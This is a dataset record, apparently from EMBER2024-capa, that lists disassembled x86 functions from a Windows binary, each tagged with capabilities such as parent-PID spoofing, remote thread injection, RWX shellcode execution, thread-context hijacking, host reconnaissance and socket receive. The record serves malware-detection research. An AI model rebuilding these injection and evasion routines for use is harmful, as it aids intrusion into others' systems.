joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004f67
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor edi, edi
mov esi, eax
cmp dword [0x1003c0b0], edi
jne 0x10004f89
push 0x80004
call fcn.10015269
pop ecx
mov dword [0x1003c0b0], eax
push dword [esi]
call sub.WS2_32.dll_htonl
mov ecx, dword [0x1003c0b0]
mov dword [ecx], eax
mov ebx, dword [esi + 4]
cmp ebx, dword [ebp + 8]
jbe 0x10004fc4
mov ebx, dword [ebp + 8]
jmp 0x10004fc4
push dword [esi + 8]
mov eax, dword [0x1003c0b0]
push ebx
lea eax, [eax + edi + 4]
push 1
push eax
call fcn.100163db
add esp, 0x10
add edi, eax
sub ebx, eax
sub dword [esi + 4], eax
test ebx, ebx
ja 0x10004fa5
push 8
add edi, 4
push edi
push dword [0x1003c0b0]
call fcn.10001d88
push fcn.10001d88
call fcn.10004feb
add esp, 0x10
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x100050ac
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x24]
call fcn.1000744d
mov edi, 0x80
lea esi, [ebp - 0x14]
call fcn.10001a6c
lea esi, [ebp - 0x24]
call fcn.1000745e
push eax
lea esi, [ebp - 0x14]
call fcn.10001a8b
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push eax
push 0x1002ce34
call fcn.10001ade
pop ecx
pop ecx
push 0x16
mov eax, esi
call fcn.100074ba
push eax
mov eax, esi
call fcn.10001b31
push eax
call fcn.10001d88
add esp, 0xc
mov eax, esi
call fcn.10001b18
pop edi
pop esi
leave
ret

Function at 0x10005117
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and al, 0x10
xor ecx, ecx
cmp al, 0x10
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x100051e8
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x4000
call fcn.100073f9
mov edi, eax
mov esi, 0x2000
mov edx, edi
call fcn.1000749b
mov ebx, eax
mov dword [ebp - 8], ebx
call fcn.1000749b
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
call fcn.1000744d
push esi
push eax
call fcn.10007506
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x18]
push esi
push eax
call fcn.10007506
add esp, 0x18
push 0
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x1000525e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.copy_failed:__d
call fcn.10001dcd
pop ecx
pop ecx
mov esi, edi
call fcn.1000743b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000526a
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x4000
call fcn.100073f9
mov edi, eax
mov esi, 0x2000
mov edx, edi
call fcn.1000749b
mov ebx, eax
mov dword [ebp - 8], ebx
call fcn.1000749b
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
call fcn.1000744d
push esi
push eax
call fcn.10007506
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x18]
push esi
push eax
call fcn.10007506
add esp, 0x18
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x100052de
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.move_failed:__d
call fcn.10001dcd
pop ecx
pop ecx
mov esi, edi
call fcn.1000743b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100052ea
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x17c
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, 0x4000
push edi
call fcn.10015269
push edi
mov ebx, eax
push 0
push ebx
call fcn.10018c40
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x158]
call fcn.1000744d
mov esi, eax
call fcn.1000745e
mov dword [ebp - 0x16c], eax
mov eax, esi
push edi
push eax
call fcn.10007506
mov edi, 0x200000
lea esi, [ebp - 0x158]
call fcn.10001a6c
push dword [ebp - 0x16c]
call fcn.10001a8b
mov esi, 0x4000
push esi
push 0x1002ce60
push ebx
call fcn.10016712
add esp, 0x2c
test eax, eax
jne 0x10005389
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 2
push 0x1002ce64
push esi
push ebx
call fcn.100167d2
add esp, 0x10
push ebx
push 0x1002ce68
lea esi, [ebp - 0x158]
call fcn.10001ade
pop ecx
pop ecx
lea eax, [ebp - 0x148]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100053eb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push str.could_not_open__s:__d
call fcn.10001dcd
add esp, 0xc
push 0x16
mov eax, esi
call fcn.100074ba
push eax
mov eax, esi
call fcn.10001b31
push eax
call fcn.10001d88
push ebx
call fcn.1001518c
add esp, 0x10
jmp 0x10005502
push ebx
call fcn.1001518c
pop ecx
lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x17c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [ebp - 0x148], 0x10
lea esi, [ebp - 0x158]
je 0x10005471
lea eax, [ebp - 0x11c]
push eax
movzx eax, word [ebp - 0x15c]
push eax
movzx eax, word [ebp - 0x15e]
push eax
movzx eax, word [ebp - 0x160]
push eax
movzx eax, word [ebp - 0x168]
push eax
movzx eax, word [ebp - 0x162]
push eax
movzx eax, word [ebp - 0x166]
push eax
push str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
call fcn.10001ade
add esp, 0x20
jmp 0x100054c3
mov ecx, dword [ebp - 0x12c]
lea edx, [ebp - 0x11c]
push edx
movzx edx, word [ebp - 0x15c]
push edx
movzx edx, word [ebp - 0x15e]
mov eax, dword [ebp - 0x128]
push edx
movzx edx, word [ebp - 0x160]
push edx
movzx edx, word [ebp - 0x168]
push edx
movzx edx, word [ebp - 0x162]
push edx
movzx edx, word [ebp - 0x166]
push edx
push ecx
push eax
push str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
call fcn.10001ade
add esp, 0x28
lea eax, [ebp - 0x148]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100053f2
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x16
lea eax, [ebp - 0x158]
call fcn.100074ba
push eax
lea eax, [ebp - 0x158]
call fcn.10001b31
push eax
call fcn.10001d88
add esp, 0xc
lea eax, [ebp - 0x158]
call fcn.10001b18
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001517d
leave
ret
Function at 0x1000551c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push edi
push 0
push 0
push dword [ebp + 8]
call esi
mov edi, eax
test edi, edi
jne 0x1000553a
xor eax, eax
jmp 0x1000555d
lea ecx, [edi + 1]
mov eax, 0x100
cmp ecx, eax
jae 0x10005536
push eax
push 0
push dword [ebp + 0xc]
call fcn.10018c40
add esp, 0xc
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop edi
pop esi
pop ebp
ret

Function at 0x10005859
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x24
pop edx
mov esi, eax
call fcn.100095d3
movzx eax, ax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, dword [ebp + 0xc]
push dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
jne 0x100058a9
call fcn.100057dd
pop ecx
xor ecx, ecx
cmp eax, ecx
je 0x1000597a
mov edx, dword [ebp + 0x18]
push ecx
push ecx
push dword [ebp + 0x1c]
add eax, edx
push eax
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x1000597a
push dword [ebp + 8]
call fcn.10005721
mov ebx, eax
xor edi, edi
pop ecx
pop ecx
cmp ebx, edi
je 0x1000597a
cmp esi, edi
je 0x100058ef
cmp dword [ebp + 0x1c], edi
jne 0x100058ef
test byte [ebp - 4], 2
je 0x100058ef
mov eax, dword [ebp + 0x18]
add eax, ebx
push eax
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.100062e1
add esp, 0x14
test eax, eax
jne 0x1000597a
xor edi, edi
test byte [ebp - 4], 1
jne 0x100058fc
push 0x10d5
jmp 0x1000596a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.10004c93
pop ecx
test eax, eax
je 0x1000592d
push dword [ebp + 8]
call fcn.10004c93
pop ecx
test eax, eax
jne 0x1000592d
mov eax, dword [ebp + 0x18]
push dword [ebp + 0x1c]
add ebx, eax
push ebx
push dword [ebp + 8]
call fcn.100061bb
jmp 0x10005960
mov eax, dword [ebp + 0x18]
push edi
push edi
push dword [ebp + 0x1c]
add ebx, eax
push ebx
push edi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x1000597a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp + 0x1c]
mov ecx, ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
push dword [ebp + 8]
call fcn.10005ff0
add esp, 0xc
test eax, eax
jne 0x1000597a
push dword [ebp - 4]
push dword [ebp + 0xc]
push str.could_not_create_remote_thread_in__d:__d
call fcn.10001dcd
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005c35
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
call fcn.10009ae5
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x70]
push ebx
push eax
call fcn.10018c40
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], 0xc
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov word [ebp - 0x40], ax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 0x24]
lea edi, [ebp - 0x70]
mov dword [ebp - 0x44], 0x101
mov dword [ebp - 0x38], ebx
call fcn.10005a29
pop ecx
pop ecx
test eax, eax
je 0x10005d73
push dword [ebp - 0x1c]
push ebx
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
jne 0x10005cf9
call fcn.10009af5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x1c]
push str.could_not_open_process__d:__d
call fcn.10001dcd
add esp, 0xc
jmp 0x10005d78
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x1c]
cmp eax, ebx
jbe 0x10005d2b
push dword [ebp + 0x18]
push esi
call fcn.10005721
push eax
push dword [ebp + 0xc]
xor eax, eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push esi
call fcn.10005859
add esp, 0x20
jmp 0x10005d44
push ebx
push dword [ebp + 0xc]
lea eax, [ebp - 0x24]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push esi
call fcn.10005859
add esp, 0x18
cmp dword [ebp + 8], ebx
jbe 0x10005d56
push dword [ebp + 8]
push dword [ebp - 8]
call fcn.10006911
pop ecx
pop ecx
push dword [ebp + 0x20]
lea esi, [ebp - 0x24]
push dword [ebp - 4]
push dword [ebp - 8]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.100065a9
add esp, 0x1c
call fcn.10009af5
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005e49
Capabilities:
Spoof parent pid

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
cmp dword [ebp + 0x1c], edi
jne 0x10005e7b
push dword [ebp + 0x18]
mov ecx, dword [ebp + 0xc]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.10003786
add esp, 0x10
jmp 0x10005feb
push dword [ebp + 0x1c]
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp eax, edi
jne 0x10005ead
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 0x1c]
push str.Could_not_set_PPID_to__d:__d
call fcn.10001dcd
add esp, 0xc
jmp 0x10005fe9
mov esi, dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
lea eax, [ebp - 8]
push eax
push edi
push 1
push edi
call esi
push dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov dword [ebp - 0xc], ebx
cmp ebx, edi
je 0x10005fda
lea eax, [ebp - 8]
push eax
push edi
push 1
push ebx
call esi
test eax, eax
je 0x10005fda
push edi
push edi
push 4
lea eax, [ebp - 4]
push eax
push 0x20000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x10005fda
mov ecx, dword [ebp + 0xc]
lea ebx, [ecx + 0x3c]
mov eax, dword [ebx]
cmp eax, edi
je 0x10005f45
mov ecx, dword [ecx + 0x40]
cmp ecx, edi
je 0x10005f43
cmp eax, ecx
jne 0x10005f43
push 1
push 1
push 2
push ebx
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, dword [ebx]
mov ecx, dword [ebp + 0xc]
mov dword [ecx + 0x40], eax
jmp 0x10005f7f
cmp eax, edi
mov edi, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
je 0x10005f63
push 1
push 1
push 2
push ebx
push dword [ebp - 4]
push eax
call esi
push eax
call edi
mov eax, dword [ebp + 0xc]
add eax, 0x40
mov ecx, dword [eax]
test ecx, ecx
je 0x10005f7f
push 1
push 1
push 2
push eax
push dword [ebp - 4]
push ecx
call esi
push eax
call edi
mov eax, dword [ebp + 0x14]
mov esi, dword [ebp + 0xc]
push 0x11
pop ecx
push dword [ebp + 0x18]
or eax, 0x80000
push eax
push dword [ebp + 0x10]
lea edi, [ebp - 0x58]
push dword [ebp + 8]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xc]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x58], 0x48
mov dword [ebp - 0x14], esi
call fcn.10003786
add esp, 0x10
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
jmp 0x10005feb
push dword [ebp + 0x1c]
push str.Could_not_set_PPID_to__d
call fcn.10001dcd
pop ecx
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100061bb
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x90
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.10018c40
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x10006206
xor eax, eax
jmp 0x100062d5
cmp dword [ebp - 0x94], 5
jne 0x10006222
cmp dword [ebp - 0x90], 2
jne 0x10006222
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x100061ff
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x40
mov ebx, 0x3000
push ebx
push 0x4c
push 0
call esi
mov edi, eax
mov dword [ebp - 0x9c], edi
test edi, edi
je 0x100062a8
push 0x40
push ebx
push 0x149
push 0
call esi
mov ebx, eax
test ebx, ebx
je 0x100062a8
mov eax, dword [ebp + 8]
push 0x13
pop ecx
push 0x4a
mov esi, 0x10032128
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, 0x10032178
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea esi, [ebx + 0x129]
and dword [esi + 0x18], 0
mov dword [esi], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x10]
push esi
push ebx
mov dword [esi + 0x10], eax
call dword [ebp - 0x9c]
test eax, eax
jne 0x10006299
push 5
jmp 0x100062a2
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x100062ac
push 6
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x100062d2
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0x4000
push edi
push 0
push dword [ebp - 0x9c]
call esi
push edi
push 0
push ebx
call esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001517d
leave
ret

Function at 0x100062e1
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea esi, [ebp + 8]
lea edi, [ebp - 0x2e0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push dword [ebp - 0x2e0]
mov esi, dword [ebp + 0x18]
call fcn.1000884d
pop ecx
test eax, eax
je 0x1000631a
xor eax, eax
jmp 0x1000636e
lea eax, [ebp - 0x2d0]
push eax
push dword [ebp - 0x2dc]
mov dword [ebp - 0x2d0], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10006316
lea eax, [ebp - 0x2d0]
push eax
push dword [ebp - 0x2dc]
mov dword [ebp - 0x220], esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10006316
push dword [ebp - 0x2dc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1001517d
leave
ret
Function at 0x100067ba
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
push esi
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x10006814
or eax, 0xffffffff
jmp 0x1000681c
cmp dword [ebp - 4], 0x80000
jae 0x10006819
push esi
lea eax, [ebp - 0xc]
push eax
mov eax, 0x80000
sub eax, dword [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0xc]
add dword [ebp - 4], eax
add dword [ebp + 0xc], eax
jmp 0x100067d0
cmp dword [ebp - 8], esi
ja 0x100067e6
mov eax, dword [ebp - 0xc]
pop edi
pop esi
leave
ret

Function at 0x10006cdc
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
xor ebx, ebx
push ebx
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
xor edi, edi
call esi
test eax, eax
je 0x10006d44
cmp dword [ebp - 4], 4
jne 0x10006d44
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0x10]
jg 0x10006d44
cmp eax, ebx
jle 0x10006d40
push ebx
lea ecx, [ebp - 4]
push ecx
sub eax, edi
push eax
mov eax, dword [ebp + 0xc]
add eax, edi
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x10006d44
cmp dword [ebp - 4], ebx
je 0x10006d44
add edi, dword [ebp - 4]
mov eax, dword [ebp - 8]
cmp edi, eax
jl 0x10006d1a
mov eax, edi
jmp 0x10006d47
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006d4c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
xor edi, edi
push edi
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 8]
mov dword [ebp - 4], edi
call esi
cmp eax, edi
je 0x10006dad
cmp dword [ebp - 4], 4
jne 0x10006daf
cmp dword [ebp + 0x10], edi
jbe 0x10006daf
mov eax, dword [ebp + 0x10]
sub eax, edi
cmp eax, 0x2000
jbe 0x10006d8d
mov eax, 0x2000
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 0xc]
add eax, edi
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x10006dad
add edi, dword [ebp - 4]
cmp edi, dword [ebp + 0x10]
jb 0x10006d7c
jmp 0x10006daf
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x100072f2
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1003fb28]
push ebx
push esi
push edi
push 0x294
mov dword [ebp - 0x14], eax
call fcn.100073f9
mov edx, eax
mov ebx, 0x94
pop ecx
mov esi, ebx
mov dword [ebp - 8], edx
call fcn.1000749b
add esi, 0x6c
mov edi, eax
call fcn.1000749b
mov dword [ebp - 0x10], eax
call fcn.1000749b
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.10009f66
test eax, eax
je 0x1000735e
push 2
push 0x1002d200
push esi
push dword [ebp - 0xc]
call fcn.100167d2
add esp, 0x10
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
push 0
push edi
call fcn.10018c40
add esp, 0xc
push edi
mov dword [edi], ebx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
call fcn.1000c50f
mov ebx, eax
test ebx, ebx
jne 0x1000739f
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.10004c93
pop ecx
test eax, eax
je 0x100073a2
xor eax, eax
inc eax
push ebx
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.10003673
push eax
push dword [edi + 8]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push dword [ebp - 0x14]
push str._d_t_d_t_d._d_t_s_t_s_t_s_t_d_t_d
push esi
push dword [ebp + 8]
call fcn.10015333
mov eax, dword [ebp + 8]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100073d7
sub eax, ecx
mov edi, eax
cmp edi, 0x5d
jle 0x100073ea
push 0x5d
pop edi
mov esi, dword [ebp - 8]
call fcn.1000743b
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007546
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
push edi
mov edi, eax
jle 0x10007574
mov eax, dword [ebp + 0xc]
push 0
sub eax, esi
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add edi, eax
add esi, eax
cmp eax, 0xffffffff
je 0x1000757a
cmp esi, dword [ebp + 0xc]
jl 0x10007554
mov eax, esi
pop edi
pop esi
pop ebp
ret
push 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [ebp + 8]
call sub.WS2_32.dll_closesocket
or eax, 0xffffffff
jmp 0x10007576